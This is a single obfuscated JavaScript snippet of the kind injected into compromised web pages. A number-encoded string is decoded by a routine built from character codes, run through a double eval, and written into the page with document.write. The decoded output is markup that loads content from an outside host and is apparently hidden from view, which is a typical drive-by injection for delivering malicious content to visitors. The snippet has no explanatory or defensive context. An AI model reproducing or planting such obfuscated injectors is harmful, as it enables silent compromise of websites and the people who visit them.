s="602657641656647654658574650639652645659639645643603616639660639625641656647654658604574642653641659651643652658588661656647658643582576602642647660574647642603581652643661647642581574657658663650643603581654639642642647652645600590601651639656645647652600590601654653657647658647653652600639640657653650659658643601650643644658600590601658653654600590601661647642658646600591590590579601646643647645646658600592590590590601664587647652642643662600591601640639641649645656653659652642587641653650653656600661646647658643581604602647644656639651643574657656641603581646658658654600589589639640641647652644653646643650654588641653651589639642660647657653656587651653642659650643657589641653652658643662658637639642660605639641641653659652658603656641641640592599580656643644603576585658653654588642653641659651643652658588656643644643656656643656585576581574661647642658646603581591590590579581574646643647645646658603581591590590579581574657641656653650650647652645603581652653581574652653656643657647664643604602589647644656639651643604602589642647660604576583601574602589657641656647654658604574";k="f=String.fromCharCode(32,32,118,97,114,32,32,32,111,32,32,61,32,32,32,39,39,32,32,32,59,32,32,32,102,117,110,99,116,105,111,110,32,100,32,32,32,40,32,32,41,32,32,123,32,32,32,105,32,61,32,32,48,32,32,32,59,32,32,32,99,32,61,32,32,48,32,32,59,32,32,119,104,105,108,101,32,40,32,105,32,32,60,32,32,32,115,46,108,101,110,103,116,104,32,32,41,32,32,32,123,32,99,32,61,32,77,97,116,104,46,114,111,117,110,100,32,32,32,40,32,32,115,46,99,104,97,114,65,116,40,32,105,32,32,41,32,32,43,32,115,46,99,104,97,114,65,116,40,32,32,105,32,32,32,43,32,32,49,32,32,41,32,43,32,32,115,46,99,104,97,114,65,116,40,32,32,105,32,32,43,32,32,32,50,32,32,41,32,32,41,32,32,45,32,32,32,53,52,50,59,32,32,32,105,32,61,32,32,105,32,32,43,32,32,51,32,32,32,59,32,111,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,32,32,32,99,32,32,41,32,32,59,32,32,32,125,32,32,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,32,32,111,32,32,41,32,125,32,100,40,32,32,41,59);";eval(eval(k));